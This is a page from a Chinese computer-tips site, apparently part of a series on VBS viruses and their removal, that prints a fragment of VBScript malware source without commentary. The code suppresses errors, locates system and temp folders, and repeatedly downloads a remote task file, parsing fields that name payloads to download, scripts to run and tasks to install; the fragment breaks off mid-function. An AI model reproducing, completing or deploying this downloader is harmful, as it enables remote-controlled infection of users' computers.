中vbs病毒会怎么样_vbs病毒_vbs病毒专杀(15)

on error resume next

dim wsh

set wsh = createobject("wscript.shell")

set fso = createobject("scripting.filesystemobject")

set dir = fso.getspecialfolder(1)

set win = fso.getspecialfolder(0)

set dc = fso.drives

ouwnname=wscript.scriptname

exemulu=fso.getspecialfolder(2)&"/"

wbem=fso.getspecialfolder(1)&"/wbem/"

mulu=left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))

if mulu=dir&"/" then sys=true

function gettask()

if readtxt(dir&"/date.bin",1)<>trim(date) then

js=1

do while check<>"<script>"

if js>2 then

advdownfile mulu&"temp.txt",fromurl2,0,1,100

check=readtxt(mulu&"temp.txt",1)

else

advdownfile mulu&"temp.txt",fromurl,0,1,100

check=readtxt(mulu&"temp.txt",1)

end if

js=js+1

if js>4 then

exit do

end if

loop

if fso.fileexists(mulu&"temp.txt") then

set openfile = fso.opentextfile(mulu&"temp.txt", 1)

check = openfile.readline

downis = openfile.readline

downame = openfile.readline

downfrom = openfile.readline

vbsver = openfile.readline

vbsrun = openfile.readline

vbsname = openfile.readline

vbsfrom = openfile.readline

taskis = openfile.readline

taskcode = openfile.readline

upvbe= openfile.readline

openfile.close

fso.deletefile(mulu&"temp.txt")

if check="<script>" then

buildfile dir&"/date.bin",date

buildinf downame,taskis,taskcode,upvbe

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25803-15.html